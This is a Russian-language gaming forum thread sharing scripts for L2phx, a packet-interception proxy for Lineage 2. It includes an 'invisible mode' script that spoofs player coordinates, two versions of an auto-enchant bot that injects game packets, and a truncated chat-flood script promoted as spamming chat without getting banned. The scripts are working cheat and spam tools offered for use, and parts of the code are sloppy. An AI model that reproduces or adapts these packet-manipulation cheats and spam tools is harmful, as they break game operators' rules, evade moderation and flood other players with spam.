(только при том вы не можите двигаться а просто исчезаете, сильной полезности нет , но может кому нить пригодиться)

И так управление - нажимает Social Yes,No

//Invisible Mode
var
pck48:string;
hidden:boolean;
i,x,y:integer;

procedure Init;
begin
hidden:=false;
pck48:='';
randomize;
end;

procedure SendMsg(msg:string);
begin
buf:=#$4A;
WriteD(0);
WriteD(2);
WriteS('hLaPEx');
WriteS(msg);
SendToClient;
end;

begin
if FromServer then exit;
case ord(pck[1]) of
$1B:case ord(pck[2]) of
$05:begin
SendMsg('invisible_mode: Off');
pck:=#$30;
hidden:=false;
end;
$06:begin
if pck48='' then exit;
SendMsg('invisible_mode: On');
hidden:=true;
pck:=pck48;
i:=2;
x:=ReadD(i);
y:=ReadD(i);
x:=x+1000+round(random*200)-100;
y:=y+1000+round(random*200)-100;
buf:=pck;
WriteD(x,2);
WriteD(y,6);
pck:=buf;
end;
end;
$48:pck48:=pck;
$30:if hidden then pck:='';
end;
end.

GraNIT
29.10.2009, 16:46
Ну так я и говорил про статы...и не надо тут отмазываться...ссылки на серваки ты мне так и не дал!

Добавлено через 2 минуты
АвТОзаТоЧкА для gracia final
// хроники Грация ФИНАЛ
// в пати чат пишем уровень заточки
// можно менять в процесе работы скрипта
// заточить один раз чтоб запомнить чем и что точить
// точить для запоминания по одному предмету
// если будите точить разные предметы
// предметы должны соответствовать применяемому skrol
// СТАРТ нажать соцдействие ДА
// СТОП нажать соцдействие НЕТ
// включить системные сообщения соцдействие - приветствие \ hello
// выключить системные сообщения соцдействие - победа \ victory
// дальше скрипт сам точит до указаного уровня заточки
// все предметы одинаковые с первыми заточеными
// точит первый предмет до максима потом второй и т.д
// т.е если вы заточили несколько разных предметов
// одного класса армор или веапон они будут точиться
// АВТОР ==>>>> TAMBIK
program Enchant_gracia;
const
myname='TAMBIK'; //<<== пишем свой НИК
max=140;//<<== колличество ячеек в рюкзаке
var
BaseItems:array[1..max,1..11] of integer;
BaseID:array[1..max] of integer;
Timer01: TTimer;
Timer02: TTimer;
Timer03: TTimer;
flag,start,select,selectID,autoMsg:Boolean;
autostart:Boolean;
mytext:string;
ListSize,ItemEnch:word;
textID,itemID:integer;
enchantObjectID:integer;
enchantID,skrolObjectID:integer;
ItemOID,objectOID: integer;
sumskrol,sumitemID: integer;
key,x,y,ii:integer;
maxlvl: integer;
GetiD:integer;
skrolID,skrolObj:integer;
t,l,d:integer;
//-----------------------------------------
procedure SendMsg2(msg:string);
begin
if autoMsg then begin
buf:=#$4A;
WriteD(0);
WriteD(3);
WriteS('');
WriteS(msg);
SendToClientEx(myname);
end;
end;
//===========================================
procedure Resultmaxlvl;
var
i:integer;
begin
if FromClient and (pck[1]=#$49) then begin
i:=2;
mytext:=ReadS(i);
textID:=ReadD(i);
if (textID=3) then begin
maxlvl:=StrToInt(mytext);
SendMsg2( ' установлен Уровень Заточки: '+IntToStr(maxlvl)+'' );
pck:='';
exit;
end;
end;
end;
//.................................................. ............................
procedure ItemList;
var
i, j, k: integer;
count,x:integer;
begin
count:=0;
x:=0;
y:=0;
j:=4; //пропускаем дo ListSize
ListSize:=ReadH(j);
for i:=1 to ListSize do
if (i<=ListSize) then begin
BaseItems[i,1]:=ReadH(j); //ItemType1- 1:одето броня. 0:бижа. 4:в рюкзаке
BaseItems[i,2]:=ReadD(j); //ObjectID
BaseItems[i,3]:=ReadD(j); //ItemID
BaseItems[i,4]:=ReadD(j); //LocationSlot
BaseItems[i,5]:=ReadD(j); // Amount:
BaseItems[i,6]:=ReadD(j); // Amount:
BaseItems[i,7]:=ReadH(j);//ItemType2
BaseItems[i,8]:=ReadH(j);// CustomType1
BaseItems[i,9]:=ReadH(j);//isEquipped:
BaseItems[i,10]:=ReadD(j);//BodyPart
BaseItems[i,11]:=ReadH(j);//EnchantLevel
inc(x); // счетчик
count:=round((Length(pck)-5) / ListSize);// длина блока
//y := пропускаем до следущего блока
y:=count*x-(j-6);// . 6= длина ListSize + 4 байта пропуска в начале пакета
inc(j,y);
end else for k:=1 to 11 do BaseItems[i,k]:=0; // забиваем нулями

if (0 < skrolObjectID) then begin
sumskrol:=Getitem(skrolID,3,5);
SendMsg2 (' SKROL ... c ID : '+IntToStr(skrolID)+' = '+IntToStr(sumskrol)+' ШТ ');
if start and (0<sumskrol) then Timer01.enabled:=true;
if (sumskrol=0) then begin
Timer01.enabled:=false;
stopselectskrol;
SendMsg2 ('........ НЕДОСТАТОЧНО SKROL........ ');
SendMsg2 ('___ О С Т А Н О В Л Е Н О ___ ');
end;
end;
end;
//=============================
procedure EnchantResult;
begin

end;
//=============================
procedure InventoryUpdate;
var
Id,ObjId:integer;
begin
ObjId:=ReadD(8);
Id:=ReadD(12);
SendMsg2 ('удален предмет Id : '+IntToStr(Id)+' ObjectID: '+IntToStr(ObjId)+' ');
deleteBase;
end;
//=============================
procedure deleteBase;
var
i,j,k:integer;
begin
for i:=1 to max do
if (BaseItems[i,2]=enchantID) then begin
BaseItems[i,1]:=0;
BaseItems[i,2]:=0; //ObjectID
BaseItems[i,3]:=0; //ItemID
BaseItems[i,4]:=0;
BaseItems[i,5]:=0;
BaseItems[i,6]:=0;
BaseItems[i,7]:=0;
BaseItems[i,8]:=0;
BaseItems[i,9]:=0;
BaseItems[i,10]:=0;
BaseItems[i,11]:=0;
inc(j,y);
end else for k:=1 to 11 do BaseItems[i,k]:=0; // забиваем нулями
end;
//===========================================
//
//===========================
function Getitem(Obj,up,down:integer): integer;
var
i: integer;
begin
Result:= 0; //В начале у нас 0
for i:=1 to max do
if (BaseItems[i,up]=Obj) then begin
Result:=BaseItems[i,down];
end;
end;
//===========================
function Getsumitem(Obj,up,down:integer): integer;
var
i: integer;
begin
Result:= 0; //В начале у нас 0
for i:=1 to max do
if (BaseItems[i,up]=Obj) then begin
Result:=Result+BaseItems[i,down];
end;
end;
//=================================
//добавляем в базу ID предмета
procedure addIDtoarray(ItemOID:integer);
begin
SendMsg2( '------------------------------------- ' );
SendMsg2 (' добавить в базу для заточки ID : '+IntToStr(ItemOID)+' Предмета ');
SendMsg2(' .................' );
flag:=false;
for ii:=1 to max do
if (BaseID[ii]=ItemOID) then begin // текущий ID уже есть в массиве,
flag := true;
sumitemID:=Getsumitem(ItemOID,3,5);//счет скоко предметов
SendMsg2 (' предмет в базе есть с ID : '+IntToStr(ItemOID)+' = '+IntToStr(sumitemID)+' ШТ ');
SendMsg2( '------------------------------------- ' );
Break; // прерываем дальнейший перебор массива.
end;
if (flag = false) then begin
for ii:=1 to max do
if (BaseID[ii]=0) then begin // добавим ID в массив,
BaseID[ii]:=ItemOID;
sumitemID:=Getsumitem(ItemOID,3,5);//счет скоко предметов
SendMsg2 (' Добавлен Предмет с ID : '+IntToStr(ItemOID)+' = '+IntToStr(sumitemID)+' ШТ ');
SendMsg2( '------------------------------------- ' );
Break; // прерываем дальнейший перебор массива.
end;
end;
end;
//=============================
procedure ChooseInventory;
begin

if (itemID>0) then begin
objectOID:=GetObjectID(itemID);//находим по ItemID предмет с ObjectID
if (objectOID=0) then begin
stopselectskrol;
SendMsg2 (' предметов c ID : '+IntToStr(itemID)+' для заточки НЕТ ! ! ! ! ');
for ii:=1 to max do
if (BaseID[ii]=itemID) then begin
BaseID[ii]:=0;
SendMsg2 (' ..... ПОИСК ______ ПРЕДМЕТА..... ');
GetItemID ;
Break; // прерываем дальнейший перебор массива.
end;
if (itemID=0) then begin
SendMsg2 ('___НЕТ ПРЕДМЕТОВ ДЛЯ ЗАТОЧКИ___ ');
SendMsg2 (' ___ О С Т А Н О В Л Е Н О ___ ');
stopselectskrol;
start:=false;
end;
end;
end;
end;

//=================================
// GetiD:=GetItemID(itemID);//находим в базе ItemID предмет для Заточки
//находим ItemID предмета для Заточки в базе ItemID
procedure GetItemID ;
begin
if start then begin
if (maxlvl=0) then begin
SendMsg2 (' неуказан уровень заточки ');
stopselectskrol;
SendMsg2 ('___ О С Т А Н О В Л Е Н О ___ ');
end;
if (maxlvl>0) then begin
itemID:=0;
for ii:=1 to max do
if (BaseID[ii]<>0) then begin
itemID:=BaseID[ii];
SendMsg2 (' НАШЛИ ПРЕДМЕТ для ЗАТОЧКИ с ID = '+IntToStr(itemID)+' ');
Timer01.enabled:=true;
Break; // прерываем дальнейший перебор массива.
end;
end;
end;
end;
//=================================
//находим enchantID предмета по ItemID для заточки
function GetObjectID(itemID:integer) : integer;
var
i:integer;
begin
enchantID:= 0;
ItemEnch:=0;
Result:= 0;
SendMsg2('------------------------------' );
if (itemID>0) then begin
SendMsg2 (' ищем ObjectID предмета с ID : ' +IntToStr(itemID)+' ');
SendMsg2('------------------------------' );
for i:=1 to max do
if (BaseItems[i,3]= itemID) and (BaseItems[i,11]< maxlvl) then begin
enchantID:=BaseItems[i,2];
Result:=BaseItems[i,2];
ItemEnch:=BaseItems[i,11];
SendMsg2(' ..... найден предмет для заточки ..... ');
SendMsg2(' ID : '+IntToStr( itemID)+' и ObjectID : '+IntToStr(enchantID)+' заточен до : '+IntToStr(ItemEnch)+' ');
SendMsg2('------------------------------' );
if (enchantID>0) then startselectEnch;
Break; // прерываем дальнейший перебор массива.
end;
end;
end;
//==========================
procedure stopselectskrol;
begin
buf:=hstr('D04E00');
SendToServerEx(myname);
end;
//===================================
procedure OnTimer01(Sender: TObject);
begin
buf:=#$19;
WriteD(skrolObjectID);
WriteD(0);
SendToServerEx(myname);
Timer01.enabled:=false;
end;
//--------------------------
procedure startselectEnch;
begin
Timer02.enabled:=true
end;
procedure OnTimer02(Sender: TObject);
begin
buf:=hstr('D04C00');
WriteD(enchantID);
SendToServerEx(myname);
Timer02.enabled:=false;
Timer03.enabled:=true;
end;
procedure OnTimer03(Sender: TObject);
begin
buf:=#$5F;
WriteD(enchantID);
WriteD(0);
SendToServerEx(myname);
Timer03.enabled:=false;
SendMsg2(' ..... Точим Предмет ..... ');
SendMsg2( ' ID : '+IntToStr(itemID)+' ObjectID : '+IntToStr(enchantID)+' - до : '+IntToStr(maxlvl)+' ' );
SendMsg2( '_______________________________' );
end;
//-----------------------------------------
procedure Init;
begin
t:=0;l:=0;d:=0;
autostart:=false;
flag:=false;
selectID:=false;
autoMsg:=true;
GetiD:=0;
sumskrol:=0;
objectOID:=0;
maxlvl:=0;
itemID:=0;
enchantID:=0;
ItemEnch:=0;
start:=false;
select:=false;
skrolObjectID:=0;
enchantObjectID:=0;
Timer01:=TTimer.Create(nil);
Timer01.OnTimer:=@OnTimer01;
Timer01.enabled:=false;
Timer01.interval:=400; //<<== время выбора свитка

Timer02:=TTimer.Create(nil);
Timer02.OnTimer:=@OnTimer02;
Timer02.enabled:=false;
Timer02.interval:=400; //<<== время выбора предмета

Timer03:=TTimer.Create(nil);
Timer03.OnTimer:=@OnTimer03;
Timer03.enabled:=false;
Timer03.interval:=3000; //<<== время между заточкой

SendMsg2( 'в пати чат пишем уровень заточки' );
SendMsg2( ' заточить предметы один раз ! ! !' );
SendMsg2( ' СТАРТ соцдействие ДА ' );
SendMsg2( ' СТОП соцдействие НЕТ' );
SendMsg2('В К Л сообщения соцдействие-приветствие\hello ' );
SendMsg2('ВЫКЛ сообщения соцдействие-победа\victory ' );
SendMsg2( '------------------------------------- ' );
buf:=hstr('14');
SendToServerEx(myname);
for ii:=1 to max do
BaseID[ii]:=0;
end;
procedure Free;
begin
Timer01.free;
Timer02.free;
Timer03.free;
end;
//=========================
procedure RequestActionUse;
begin
case ReadD(2) of
12:begin autoMsg:=true; pck:=''; exit; end;
13:begin autoMsg:=false; pck:=''; exit; end;
24:begin
if (autostart=false) then SendMsg2( 'предмет незаточен или пакеты неприняты !' );
if autostart then begin
SendMsg2( ' ! ! ! П О Е Х А Л И ! ! !' );
SendMsg2( '_______________________________' );
start:=true;
GetItemID ;
pck:='';
exit;
end;
end;
25:begin
start:=false;
enchantID:=0;
ItemEnch:=0;
Timer01.enabled:=false;
Timer02.enabled:=false;
Timer03.enabled:=false;
SendMsg2( ' ! ! ! С Т О П ! ! ! ' );
stopselectskrol;
pck:='';
exit;
end;
end;
end;

//=========
begin
//не обрабатываем пустые пакеты
if pck='' then exit;
if FromServer and (pck[1]=#$87) then EnchantResult;
if FromServer and (pck[1]=#$21) and (ReadH(4)=3)then InventoryUpdate;
if FromServer and (pck[1]=#$11) then ItemList;
if FromServer and (pck[1]=#$7C) then ChooseInventory;
if FromClient and (pck[1]=#$49) then Resultmaxlvl;
if FromClient and (pck[1]=#$56) then RequestActionUse;

begin
if (start=false) and FromClient then
case pck[1] of
#$19:begin
t:=1;
skrolObjectID:=ReadD(2);
skrolID:= Getitem(skrolObjectID,2,3);//находим по ObjectID скрол с ItemID
SendMsg2(' .................' );
SendMsg2(' активирован SKROL ID : '+IntToStr(skrolID)+' ' );
SendMsg2(' .................' );
buf:=hstr('14');
SendToServerEx(myname);
end;
#$D0:if ReadH(2)=76 then begin
l:=1;
SendMsg2(' окно выбора предмета ' );
SendMsg2(' .................' );
end;
#$5F:begin
d:=1;
enchantObjectID:=ReadD(2);
if (t=1) and (l=1) and (d=1) then begin
autostart:=true;
ItemOID:= Getitem(enchantObjectID,2,3);//находим по ObjectID предмет с ItemID
SendMsg2 (' заточен предмет c ID : '+IntToStr(ItemOID)+' ');
SendMsg2(' .................' );
addIDtoarray(ItemOID);//добавляем в базу ID предмета
stopselectskrol;
end;
end;
end;
end;
end.
by TAMBIK coderx.ru

TAMBIK
08.11.2009, 17:19
АвТОзаТоЧкА--- авто-gracia_final +1.
автор я
[Ссылки могут видеть только зарегистрированные и активированные пользователи]
l2phx.3.5.28.151

// авто-gracia_final +1.
// хроники Грация ФИНАЛ
// Соцдействие ДА открыть управление скриптом
// в пати чат пишем уровень заточки
// можно менять в процесе работы скрипта
// заточить один предмет чтоб запомнить чем и что точить
// дальше скрипт сам точит до указаного уровня заточки
// все предметы ОДИНАКОВЫЕ с ПЕРВЫМ заточеным
// предметы точатся добавляя по +1 на предмет
// т.е если у вас предметы с одинаковым уровнем заточки например 0
// будет точится первый предмет до +1, потом второй до +1 и т.д
// если предмет при заточки блесс скрол слетел на 0 или на уровень как у вас на сервере
// то будет точиться он пока несравняется с остальными
// и т.д
// пока недостигнете заданого уровня заточки
// если предметов более 1 то один остается
// АВТОР ==>>>> TAMBIK
program Enchant_gracia;
const
//===========================================

myname='TAMBIK'; //<<== пишем свой НИК

max=80;//<<== колличество ячеек в рюкзаке


//===========================================
HTML='<html><body><center>'+
'<img src="L2UI_CH3.herotower_deco width=256 height=32>'+
'<img src="L2UI.SquareWhite" width=260 height=1>'+
'<font color="04fbfb">Cкрипт автозаточка для gracia_final</font><br>'+
'<img src="L2UI.SquareWhite" width=260 height=1>'+
'<img src="L2UI.Squarewidth" width=260 height=1>'+
'<font color="04fbfb">системные сообщения</font><br>'+
'<button value="в к л" action="bypass -3" width=80 height=15 back="sek.cbui94" fore="sek.cbui92">'+
'<img src="L2UI.SquareWhite" width=60 height=1>'+
'<img src="L2UI.Squarewidth" width=60 height=4>'+
'<font color="04fbfb"> </font><br>'+
'<button value=" в ы к л " action="bypass -4" width=80 height=15 back="sek.cbui94" fore="sek.cbui92">'+
'<img src="L2UI.SquareWhite" width=60 height=1>'+
'<img src="L2UI.Squarewidth" width=60 height=4>'+
'<font color="04fbfb"> </font><br>'+
'<img src="L2UI.SquareWhite" width=260 height=1>'+
'<img src="L2UI.Squarewidth" width=260 height=4>'+
'<font color="04fbfb">АВТОЗАТОЧКА</font><br>'+
'<font color="04fbfb"> </font><br>'+
'<button value="П У С К" action="bypass -pusk" width=100 height=15 back="sek.cbui94" fore="sek.cbui92">'+
'<img src="L2UI.SquareWhite" width=60 height=1>'+
'<img src="L2UI.Squarewidth" width=60 height=4>'+
'<font color="04fbfb"> </font><br>'+
'<button value="С Т О П" action="bypass -stop" width=100 height=20 back="sek.cbui94" fore="sek.cbui92">'+
'<img src="L2UI.SquareWhite" width=60 height=1>'+
'<img src="L2UI.Squarewidth" width=60 height=4>'+
'<font color="04fbfb"> </font><br>'+
'<img src="L2UI.SquareWhite" width=260 height=1>'+
'<img src="L2UI.Squarewidth" width=260 height=4>'+
'<img src="L2UI.SquareWhite" width=60 height=1>'+
'<img src="L2UI.Squarewidth" width=60 height=4>'+
'<font color="LEVEL">Автор TAMBIK</font><br>'+
'</center></body></html>';
//==========================================
var
BaseItems:array[1..max,1..11] of integer;
Baselvl:array[0..max] of integer;
Timer01: TTimer;
Timer02: TTimer;
Timer03: TTimer;

mytext:string;
Bypass:string;
autostart,start,autoMsg:Boolean;
flag : Boolean;
t,l,d,x,y,ii,i:integer;

ListSize,ItemEnch:word;
textID,itemID:integer;
enchantObjectID:integer;
enchantID,skrolObjectID:integer;
ItemOID,objectOID:integer;
sumskrol,sumitemID,sumitem:integer;
maxlvl,minlvl,enchlvl,selectlvl:integer;
skrolID,skrolObj:integer;
minEnchitem:integer;
object,index : integer;
//==========================================
// ShowHTML(HTML);
Procedure ShowHTML( _html : string );
begin
buf:=#$19;
WriteD(5);
WriteS(_HTML);
SendToClientEx(myname);
end;
//========================
procedure ActionUse;
begin
Bypass:=ReadS(2);
case Bypass of
'-3':begin autoMsg:=true; end;
'-4':begin autoMsg:=false; end;
'-pusk':begin
if (autostart=false) then SendMsg2( 'предмет незаточен или пакеты неприняты !' );
if (maxlvl=0) then SendMsg2( ' Неуказан Уровень Заточки !' );
SendMsg2( '_______________________________' );
if autostart and (maxlvl>0) then begin
buf:=hstr('14');
SendToServerEx(myname);
SendMsg2( ' ! ! ! П О Е Х А Л И ! ! !' );
SendMsg2( '_______________________________' );
start:=true;
Timer01.enabled:=true;// вкл таймер выбора свитка
end;
end;
'-stop':begin
deleteBase;
start:=false;
enchantID:=0;
ItemEnch:=0;
minlvl:=0;
sumitem:=0;
Timer01.enabled:=false;
Timer02.enabled:=false;
Timer03.enabled:=false;
SendMsg2( ' ! ! ! С Т О П ! ! ! ' );
stopselectskrol;
index :=0;
for ii:=1 to max do
Baselvl[ii]:=-1;
end;
end;
end;
//===========================================
procedure SendMsg2(msg:string);
begin
buf:=#$4A;
WriteD(0);
WriteD(3);
WriteS('');
WriteS(msg);
SendToClientEx(myname);
end;
//===========================================
procedure Resultmaxlvl;
var
i:integer;
begin
i:=2;
mytext:=ReadS(i);
textID:=ReadD(i);
if (textID=3) then begin
maxlvl:=StrToInt(mytext);
SendMsg2( ' установлен Уровень Заточки: '+IntToStr(maxlvl)+'' );
end;
end;
//.................................................. ............................
procedure ItemList;
var
i, j, k: integer;
count,x:integer;
begin
count:=0;
x:=0;
y:=0;
j:=4; //пропускаем дo ListSize
ListSize:=ReadH(j);
count:=round((Length(pck)-5) / ListSize);// длина блока
for i:=1 to ListSize do
if (i<=ListSize) then begin
BaseItems[i,1]:=ReadH(j); //ItemType1- 1:одето броня. 0:бижа. 4:в рюкзаке
BaseItems[i,2]:=ReadD(j); //ObjectID
BaseItems[i,3]:=ReadD(j); //ItemID
BaseItems[i,4]:=ReadD(j); //LocationSlot
BaseItems[i,5]:=ReadD(j); // Amount:
BaseItems[i,6]:=ReadD(j); // Amount:
BaseItems[i,7]:=ReadH(j);//ItemType2
BaseItems[i,8]:=ReadH(j);// CustomType1
BaseItems[i,9]:=ReadH(j);//isEquipped:
BaseItems[i,10]:=ReadD(j);//BodyPart
BaseItems[i,11]:=ReadH(j);//EnchantLevel
inc(x); // счетчик
//y := пропускаем до следущего блока
y:=count*x-(j-6);// . 6= длина ListSize + 4 байта пропуска в начале пакета
inc(j,y);
end else for k:=1 to 11 do BaseItems[i,k]:=0; // забиваем нулями
addenchantitemID;

if (skrolID>0) then begin
sumskrol:=Getitem(skrolID,3,5);//считаем SKROL
if autoMsg then SendMsg2 (' SKROL ... c ID : '+IntToStr(skrolID)+' = '+IntToStr(sumskrol)+' ШТ ');
if start and (0<sumskrol) then Timer01.enabled:=true;// вкл таймер выбора свитка
if (sumskrol=0) then begin
SendMsg2 ('........ НЕДОСТАТОЧНО SKROL........ ');
SendMsg2 ('___ О С Т А Н О В Л Е Н О ___ ');
start:=false;
end;
end;
end;
//=============================
procedure EnchantResult;
begin
deleteBase;
index :=0;
for ii:=1 to max do
Baselvl[ii]:=-1;
end;
//=============================
procedure deleteBase;
var
i,j,k:integer;
begin
for i:=1 to max do
BaseItems[i,1]:=0;
BaseItems[i,2]:=0; //ObjectID
BaseItems[i,3]:=0; //ItemID
BaseItems[i,4]:=0;
BaseItems[i,5]:=0;
BaseItems[i,6]:=0;
BaseItems[i,7]:=0;
BaseItems[i,8]:=0;
BaseItems[i,9]:=0;
BaseItems[i,10]:=0;
BaseItems[i,11]:=0;
inc(j,y);
end;
//===========================
function Getitem(Obj,up,down:integer): integer;
var
i: integer;
begin
Result:= 0; //В начале у нас 0
for i:=1 to max do
if (BaseItems[i,up]=Obj) then begin
Result:=BaseItems[i,down];
end;
end;
//===========================
function Getsumitem(Obj,up,down:integer): integer;
var
i: integer;
begin
Result:= 0; //В начале у нас 0
for i:=1 to max do
if (BaseItems[i,up]=Obj) then begin
Result:=Result+BaseItems[i,down];
end;
end;
//=============================

// добавляем в базу ЛВЛ заточки
procedure addenchantitemID;
begin
for i:=1 to max do
if (BaseItems[i,3] = ItemOID) then begin
enchlvl:=BaseItems[i,11];
flag:=false;
for ii:=1 to max do
if (Baselvl[ii] = enchlvl) then begin // текущий уже есть в массиве,
flag := true;
BREAK; { прекращаем цикл }
end;
if (flag = false) then begin
for ii:=1 to max do
if (Baselvl[ii]=-1) then begin // добавим в массив,
Baselvl[ii]:=enchlvl;
index :=ii;
BREAK; { прекращаем цикл }
end;
end;
end;
end;
//==========================
procedure ChooseInventory;
var
OID, lvl:integer;
begin
if (ItemOID>0) and start then begin
sumitemID:=0;
sumitemID:=Getsumitem(ItemOID,3,5); // считаем предметы для заточки
minlvl:=Baselvl[1];
for ii:=2 to index do
if Baselvl[ii] < minlvl then
minlvl:=Baselvl[ii];// мин заточка
objectOID:=0;
if (sumitemID > sumitem) then objectOID:=GetObjectID(ItemOID);//находим по ItemID предмет с ObjectID
if (objectOID = 0) then begin
start:=false;
SendMsg2('Больше предметов c ID : '+IntToStr(ItemOID)+' для заточки НЕТ ! ! ! ! ');
lvl:=0;
for i:=1 to max do
if (BaseItems[i,3] = ItemOID) then begin
OID:=BaseItems[i,2];
lvl:=BaseItems[i,11];
SendMsg2('Предмет c ID : '+IntToStr(ItemOID)+' с ObjectID : '+IntToStr(OID)+' заточен до : '+IntToStr(lvl)+' ');
end;
end;
end;
end;
//=========================
//находим enchantID предмета по ItemID для заточки
function GetObjectID(ItemOID:integer) : integer;
var
ID,i:integer;
begin
enchantID:= 0;
ItemEnch:=0;
Result:= 0;
if autoMsg then SendMsg2( '*******************************************' );
if (ItemOID>0) then begin
if autoMsg then SendMsg2 (' ищем ObjectID предмета с ID : ' +IntToStr(ItemOID)+' ');
if autoMsg then SendMsg2('------------------------------' );

for i:=1 to max do
if (BaseItems[i,3] = ItemOID) and (BaseItems[i,11] = minlvl) and (BaseItems[i,11] < maxlvl) then begin
enchantID:=BaseItems[i,2];
Result:=BaseItems[i,2];
ItemEnch:=BaseItems[i,11];
if autoMsg then SendMsg2(' ..... найден предмет для заточки ..... ');
if autoMsg then SendMsg2(' ID : '+IntToStr(ItemOID)+' и ObjectID : '+IntToStr(enchantID)+' заточен до : '+IntToStr(ItemEnch)+'');
if autoMsg then SendMsg2('------------------------------' );
if (enchantID>0) then Timer02.enabled:=true;
Break; // прерываем дальнейший перебор массива.
end;
end;
end;
//==========================
procedure stopselectskrol;
begin
buf:=hstr('D04E00');
SendToServerEx(myname);
end;
//===================================
procedure OnTimer01(Sender: TObject);
begin
buf:=#$19;
WriteD(skrolObjectID);
WriteD(0);
SendToServerEx(myname);
Timer01.enabled:=false;
end;
//--------------------------
procedure OnTimer02(Sender: TObject);
begin
buf:=hstr('D04C00');
WriteD(enchantID);
SendToServerEx(myname);
Timer02.enabled:=false;
Timer03.enabled:=true;
end;
procedure OnTimer03(Sender: TObject);
begin
buf:=#$5F;
WriteD(enchantID);
WriteD(0);
SendToServerEx(myname);
Timer03.enabled:=false;
if autoMsg then SendMsg2(' ..... Точим Предмет ..... ');
if autoMsg then SendMsg2( ' ID : '+IntToStr(ItemOID)+' и ObjectID : '+IntToStr(enchantID)+' - до : '+IntToStr(maxlvl)+'' );
if autoMsg then SendMsg2( '_______________________________' );
end;
//-----------------------------------------
procedure Init;
begin
minlvl:=0; maxlvl:=0; enchlvl:=0; ItemEnch:=0;
sumskrol:=0; sumitem:=0; sumitemID:=0;
objectOID:=0; object:=0; enchantObjectID:=0;
enchantID:=0; skrolObjectID:=0;
skrolID:=0; itemID:=0; ItemOID:=0;
t:=0;l:=0;d:=0;index :=0;

flag:=false;
autostart:=false;
start:=false;
autoMsg:=true;

Timer01:=TTimer.Create(nil);
Timer01.OnTimer:=@OnTimer01;
Timer01.enabled:=false;
Timer01.interval:=400; //<<== время выбора свитка

Timer02:=TTimer.Create(nil);
Timer02.OnTimer:=@OnTimer02;
Timer02.enabled:=false;
Timer02.interval:=400; //<<== время выбора предмета

Timer03:=TTimer.Create(nil);
Timer03.OnTimer:=@OnTimer03;
Timer03.enabled:=false;
Timer03.interval:=4500; //<<== время между заточкой

SendMsg2( ' в пати чат пишем уровень заточки' );
SendMsg2( ' заточить предмет ! !' );
SendMsg2( ' Соцдействие ДА - откр окно управления ' );
SendMsg2( '------------------------------------- ' );
buf:=hstr('14');
SendToServerEx(myname);
for ii:=1 to max do
Baselvl[ii]:=-1;
end;
procedure Free;
begin
Timer01.free;
Timer02.free;
Timer03.free;
end;
//=========================
begin
//не обрабатываем пустые пакеты
if pck='' then exit;
if FromServer and (pck[1]=#$87) then EnchantResult;
if FromServer and (pck[1]=#$11) then ItemList;
if FromServer and (pck[1]=#$7C) then ChooseInventory;
if FromClient and (pck[1]=#$49) then begin Resultmaxlvl;pck:='';exit;end; //
if FromClient and (pck[1]=#$56) and (ReadD(2)=24) then begin
ShowHTML(HTML); pck:='';exit; end;
if FromClient and (pck[1]=#$23) then begin ActionUse; pck:='';exit;end; //
begin
if (start=false) and FromClient then
case pck[1] of
#$19:begin
stopselectskrol;
buf:=hstr('14');
SendToServerEx(myname);
t:=1;
skrolObjectID:=ReadD(2);
skrolID:= Getitem(skrolObjectID,2,3);//находим по ObjectID скрол с ItemID
SendMsg2(' .................' );
SendMsg2(' активирован SKROL ID : '+IntToStr(skrolID)+' ' );
SendMsg2(' .................' );
end;
#$D0:if ReadH(2)=76 then begin
l:=1;
SendMsg2(' окно выбора предмета ' );
SendMsg2(' .................' );
end;
#$5F:begin
d:=1;
enchantObjectID:=ReadD(2);
if (t=1) and (l=1) and (d=1) then begin
autostart:=true;
ItemOID:= Getitem(enchantObjectID,2,3);//находим по ObjectID предмет с ItemID
SendMsg2 (' ID предмета : '+IntToStr(ItemOID)+' для заточки');
sumitemID:=0;
sumitem:=0;
sumitemID:=Getsumitem(ItemOID,3,5); // считаем предметы для заточки
SendMsg2 (' Предметов для заточки с ID : '+IntToStr(ItemOID)+' = '+IntToStr(sumitemID)+' ШТ ');
if (sumitemID > 1) then sumitem:=1;
stopselectskrol;
end;
end;
end;
end;
end.

ISharkI
09.11.2009, 18:22
Мб у каго то нету Скрипт на ФЛуд чата без бана..открывает отдельное окно чата.
const
MaxMessages = 1000;
var
m: TMemo;
frm:TForm;
penel: TPanel;
etext: tedit;
button: tbutton;
box : TCheckBox;
every : TEdit;
_Name : TEdit;
i: Integer;
tm:TTimer;
Message, Name: String;

procedure SendMs(Sender: TObject);
var
Msg, Nm: String;
dd: integer;
begin
if etext.text<>'' then begin
buf:=#$38;
case etext.text[1] of
'!': begin
Msg:=Copy(etext.text,2,1000);
dd:=1;
nm:='';
end;
'$': begin
Msg:=Copy(etext.text,2,1000);
dd:=9;
nm:='';
end;
'+': begin
Msg:=Copy(etext.text,2,1000);
dd:=8;
nm:='';
end;
'"': begin
dd:=pos(' ', etext.text);
Msg:=Copy(etext.text,dd+1,1000);
nm:=Copy(etext.text,2,dd-3);
dd:=2;
end;
'#': begin
Msg:=Copy(etext.text,2,1000);
dd:=3;
nm:='';
end;
'@': begin
Msg:=Copy(etext.text,2,1000);
dd:=4;
nm:='';
end;
else begin
Msg:=etext.text;
dd:=0;
nm:='';
end;
end;
WriteS(Msg);
WriteD(dd);
if nm<>'' then WriteS(Nm);
SendToServerEx(_Name.Text);
end;
end;
procedure onNewCommand(obj:TObject;key:string);
var i:integer;
var symbol:Variant;
var after:string;
begin
if (key[1]=#$0D) then begin
SendMs(obj);
symbol := etext.Text[1];
after := '';
if symbol = '#' then after := '#';
if symbol = '!' then after := '!';
if symbol = '@' then after := '@';
if symbol = '$' then after := '$';
if symbol = '%' then after := '%';
etext.Text := after;
end;
end;
procedure onTimer(Sender:TObject);
begin
tm.Interval := StrToInt(every.Text);
if box.checked = true then SendMs(Sender);
end;
procedure Init;
begin
frm := TForm.Create(nil);
frm.Caption := 'Chat';
frm.BorderStyle := bsSizeable;
frm.Position := poDesigned ;
frm.Width:=400;
frm.Height:=600;
m:=TMemo.Create(frm);
m.parent:=frm;
m.align:=alClient;
m.ReadOnly:=true;
m.ScrollBars:=ssBoth;
penel:=TPanel.Create(frm);
penel.parent:=frm;
penel.align:=alBottom;
penel.height:=48;
etext:=tedit.Create(penel);
etext.parent:=penel;
button:=tbutton.Create(penel);
button.parent:=penel;
button.top := etext.height;
button.caption:='Send';
button.onClick:=@SendMs;
box := TCheckBox.Create(penel);
box.parent := penel;
box.Top := etext.height + 2;
box.Left := button.width + button.left +2;
box.Caption := 'Шторм через: ';
every:=tedit.Create(penel);
every.parent:=penel;
every.Left := box.Left + box.Width;
every.Top := button.top;
every.Text := IntToStr(3000);
tm := TTimer.Create(frm);
